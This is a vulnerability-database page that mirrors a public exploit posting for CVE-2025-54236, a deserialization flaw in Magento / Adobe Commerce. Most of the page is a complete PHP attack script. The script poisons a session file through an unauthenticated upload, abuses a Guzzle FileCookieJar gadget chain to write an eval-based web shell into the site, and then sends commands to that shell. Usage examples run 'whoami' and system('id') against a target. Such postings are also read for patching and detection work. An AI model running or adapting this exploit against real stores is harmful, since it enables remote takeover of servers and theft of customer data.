Lucene search
K

📄 Adobe Commerce Insecure Deserialization

🗓️ 24 Dec 2025 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 317 Views

CVE-2025-54236: unauthenticated deserialization in Magento enables arbitrary file write and remote code execution.

Related
Code
=============================================================================================================================================
    | # Title     : Magento 2 / Adobe Commerce Multiple 2.4.x builds Session Reaper Deserialization Vulnerability                               |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://community.magento.com/                                                                                              |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/212729/ & CVE‑2025‑54236
    
    [+] Summary    : CVE‑2025‑54236 is a critical unauthenticated deserialization vulnerability affecting Adobe Commerce (Magento).
                     The flaw enables remote attackers to manipulate internal session handling paths and abuse PHP object chains (Guzzle FileCookieJar gadget) 
    				 to achieve arbitrary file write, leading to Remote Code Execution (RCE).
    
    A public exploit known informally as “Magento Session Reaper” chains multiple weaknesses together:
    
    Session file poisoning
    
    JSON API injection
    
    Object deserialization gadgets
    
    Guzzle FileCookieJar file‑write primitive
    
    Forced session deserialization
    
    WebShell deployment
    
    The attack requires no valid session, no authentication, and no user interaction.
    
    [+]  POC :
    
    # Verification only
    
    php poc.php https://target.com
    
    # Execution with command
    
    php poc.php https://target.com "whoami"
    
    # Execution with shell code
    
    php poc.php https://target.com "<?php system('id'); ?>"
    
    
    <?php
    
    class MagentoSessionReaperExploit {
        private $targetUrl;
        private $sessionId;
        private $sessionFilename;
        private $exploitFilename;
        private $postParam;
        
        public function __construct($targetUrl) {
            $this->targetUrl = rtrim($targetUrl, '/');
            $this->sessionId = bin2hex(random_bytes(16));
            $this->sessionFilename = "sess_{$this->sessionId}";
            $this->exploitFilename = bin2hex(random_bytes(4)) . ".php";
            $this->postParam = bin2hex(random_bytes(4));
        }
        
        /**
         * التحقق من وجود الثغرة
         */
        public function check() {
            $randomPath = implode('/', [
                bin2hex(random_bytes(4)),
                bin2hex(random_bytes(4)),
                bin2hex(random_bytes(4))
            ]);
            
            $cartId = bin2hex(random_bytes(4));
            $url = "{$this->targetUrl}/rest/default/V1/guest-carts/{$cartId}/order";
            
            $payload = $this->buildDeserializationPayload($randomPath);
            
            $response = $this->sendRequest($url, 'PUT', $payload, [
                'Content-Type: application/json',
                'Accept: application/json'
            ]);
            
            if (!$response) {
                return "Unknown: No response from target";
            }
            
            $statusCode = $response['status_code'];
            $body = strtolower($response['body']);
            
            switch ($statusCode) {
                case 400:
                    return "Safe: Target is patched (returns 400 Bad Request)";
                case 404:
                    if (strpos($body, 'no such entity') !== false &&
                        (strpos($body, 'cartid') !== false || 
                        (strpos($body, 'fieldname') !== false && strpos($body, 'fieldvalue') !== false))) {
                        return "Appears: Target returned 404 with expected error pattern";
                    }
                    break;
                case 500:
                    if (strpos($body, 'sessionhandler::read') !== false ||
                        (strpos($body, 'no such file or directory') !== false && strpos($body, 'session') !== false) ||
                        strpos($body, 'webapi-') !== false) {
                        return "Appears: Target returned 500 error with SessionHandler";
                    }
                    break;
            }
            
            return "Unknown: Unexpected HTTP status: {$statusCode}";
        }
        
        /**
         * تنفيذ الاستغلال
         */
        public function exploit($command = null) {
            echo "[*] Generating Guzzle/FW1 deserialization payload...\n";
            
            $phpStub = "<?php @eval(base64_decode(\$_POST['{$this->postParam}']));?>";
            $guzzlePayload = $this->buildGuzzleFw1Payload("pub/{$this->exploitFilename}", $phpStub);
            
            echo "[*] Uploading session file with Guzzle payload...\n";
            $formKey = bin2hex(random_bytes(6));
            $uploadedPath = $this->uploadSessionFile($guzzlePayload, $formKey);
            
            if (!$uploadedPath) {
                echo "[-] Failed to upload session file\n";
                return false;
            }
            
            $savePath = "media/customer_address" . dirname($uploadedPath);
            
            echo "[*] Triggering deserialization...\n";
            if (!$this->triggerDeserialization($savePath)) {
                echo "[-] Failed to trigger deserialization\n";
                return false;
            }
            
            echo "[+] Deserialization triggered successfully\n";
            
            // تنظيف الملفات المؤقتة
            $this->cleanup();
            
            $executeUrl = "{$this->targetUrl}/pub/{$this->exploitFilename}";
            echo "[*] Executing payload at: {$executeUrl}\n";
            
            if ($command) {
                $encodedCommand = base64_encode($command);
                $this->sendRequest($executeUrl, 'POST', "{$this->postParam}=" . urlencode($encodedCommand), [
                    'Content-Type: application/x-www-form-urlencoded'
                ]);
            }
            
            return true;
        }
        
        /**
         * رفع ملف الجلسة الخبيثة
         */
        private function uploadSessionFile($content, $formKey) {
            $boundary = '----' . bin2hex(random_bytes(16));
            $filename = "sess_{$this->sessionId}";
            
            $postData = "--{$boundary}\r\n";
            $postData .= "Content-Disposition: form-data; name=\"form_key\"\r\n\r\n";
            $postData .= "{$formKey}\r\n";
            
            $postData .= "--{$boundary}\r\n";
            $postData .= "Content-Disposition: form-data; name=\"custom_attributes[country_id]\"; filename=\"{$filename}\"\r\n";
            $postData .= "Content-Type: application/octet-stream\r\n\r\n";
            $postData .= "{$content}\r\n";
            $postData .= "--{$boundary}--\r\n";
            
            $url = "{$this->targetUrl}/customer/address_file/upload";
            
            $response = $this->sendRequest($url, 'POST', $postData, [
                "Content-Type: multipart/form-data; boundary={$boundary}",
                "Cookie: form_key={$formKey}"
            ]);
            
            if (!$response || $response['status_code'] != 200) {
                return null;
            }
            
            $jsonResponse = json_decode($response['body'], true);
            
            if (isset($jsonResponse['error']) && $jsonResponse['error'] != 0) {
                echo "[-] Upload failed: {$jsonResponse['error']}\n";
                return null;
            }
            
            if (isset($jsonResponse['file'])) {
                return $jsonResponse['file'];
            }
            
            $sessionSaveDir = $this->sessionSaveDirFromFilename($filename);
            return "/{$sessionSaveDir}/{$filename}";
        }
        
        /**
         * بناء payload إلغاء التسلسل
         */
        private function buildDeserializationPayload($savePath) {
            $payload = [
                'paymentMethod' => [
                    'paymentData' => [
                        'context' => [
                            'urlBuilder' => [
                                'session' => [
                                    'sessionConfig' => [
                                        'savePath' => $savePath
                                    ]
                                ]
                            ]
                        ]
                    ]
                ]
            ];
            
            return json_encode($payload);
        }
        
        /**
         * تفعيل إلغاء التسلسل
         */
        private function triggerDeserialization($savePath) {
            $cartId = bin2hex(random_bytes(4));
            $url = "{$this->targetUrl}/rest/default/V1/guest-carts/{$cartId}/order";
            
            $payload = $this->buildDeserializationPayload($savePath);
            
            $response = $this->sendRequest($url, 'PUT', $payload, [
                'Content-Type: application/json',
                'Accept: application/json',
                "Cookie: PHPSESSID={$this->sessionId}"
            ]);
            
            if (!$response) {
                return false;
            }
            
            return in_array($response['status_code'], [404, 500]);
        }
        
        /**
         * بناء payload Guzzle/FW1
         */
        private function buildGuzzleFw1Payload($targetFile, $phpContent) {
            $escaped = "{$phpContent}\n";
            
            // Serialize string with PHP binary-safe format
            $setCookieData = "a:3:{" . 
                $this->serializeStringAscii('Expires') . "i:1;" .
                $this->serializeStringAscii('Discard') . "b:0;" .
                $this->serializeStringAscii('Value') . $this->serializeStringAscii($escaped) . 
            "}";
            
            $setCookie = 'O:27:"GuzzleHttp\\Cookie\\SetCookie":1:' .
                "{" . $this->serializeStringAscii('data') . "{$setCookieData}}";
            
            $cookiesArray = "a:1:{i:0;{$setCookie}}";
            
            $fileCookieJar = 'O:31:"GuzzleHttp\\Cookie\\FileCookieJar":4:' .
                "{" . $this->serializeStringAscii('cookies') . "{$cookiesArray}" .
                $this->serializeStringAscii('strictMode') . "N;" .
                $this->serializeStringAscii('filename') . $this->serializeStringAscii($targetFile) .
                $this->serializeStringAscii('storeSessionCookies') . "b:1;}";
            
            return "_|{$fileCookieJar}";
        }
        
        /**
         * تسلسل نص بصيغة ASCII ثنائية آمنة لـ PHP
         */
        private function serializeStringAscii($str) {
            $result = '';
            $length = strlen($str);
            
            for ($i = 0; $i < $length; $i++) {
                $byte = ord($str[$i]);
                
                // Keep printable ASCII characters except backslash (92) and double quote (34)
                if ($byte >= 32 && $byte <= 126 && $byte != 92 && $byte != 34) {
                    $result .= chr($byte);
                } else {
                    // Escape other characters as \xHH
                    $result .= sprintf("\\x%02x", $byte);
                }
            }
            
            return "S:{$length}:\"{$result}\";";
        }
        
        /**
         * الحصول على مسار حفظ الجلسة من اسم الملف
         */
        private function sessionSaveDirFromFilename($filename) {
            return $filename[0] . '/' . $filename[1];
        }
        
        /**
         * إرسال طلب HTTP
         */
        private function sendRequest($url, $method, $data = null, $headers = []) {
            $ch = curl_init();
            
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            curl_setopt($ch, CURLOPT_TIMEOUT, 30);
            
            if ($method === 'POST' || $method === 'PUT') {
                curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);
                curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
            }
            
            if (!empty($headers)) {
                curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
            }
            
            $response = curl_exec($ch);
            $statusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            $error = curl_error($ch);
            
            curl_close($ch);
            
            if ($error) {
                echo "[-] cURL Error: {$error}\n";
                return null;
            }
            
            return [
                'status_code' => $statusCode,
                'body' => $response
            ];
        }
        
        /**
         * تنظيف الملفات المؤقتة
         */
        private function cleanup() {
            // يمكن إضافة منطق التنظيف هنا
            // في الإصدار الحقيقي، يجب حذف الملفات التي تم إنشاؤها
        }
    }
    
    // مثال للاستخدام
    if (php_sapi_name() === 'cli') {
        echo "Magento SessionReaper Exploit by indoushka\n";
        echo "=============================================\n\n";
        
        if ($argc < 2) {
            echo "Usage: php " . basename(__FILE__) . " <target_url> [command]\n";
            echo "Example: php " . basename(__FILE__) . " https://target.com \"whoami\"\n";
            exit(1);
        }
        
        $targetUrl = $argv[1];
        $command = $argc > 2 ? $argv[2] : null;
        
        $exploit = new MagentoSessionReaperExploit($targetUrl);
        
        // التحقق أولاً
        echo "[*] Checking target...\n";
        $checkResult = $exploit->check();
        echo "[*] Check result: {$checkResult}\n";
        
        if (strpos($checkResult, 'Appears') !== false || strpos($checkResult, 'Unknown') !== false) {
            echo "[*] Attempting exploitation...\n";
            if ($exploit->exploit($command)) {
                echo "[+] Exploitation completed successfully\n";
            } else {
                echo "[-] Exploitation failed\n";
            }
        } else {
            echo "[-] Target appears to be safe or patched\n";
        }
    }
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation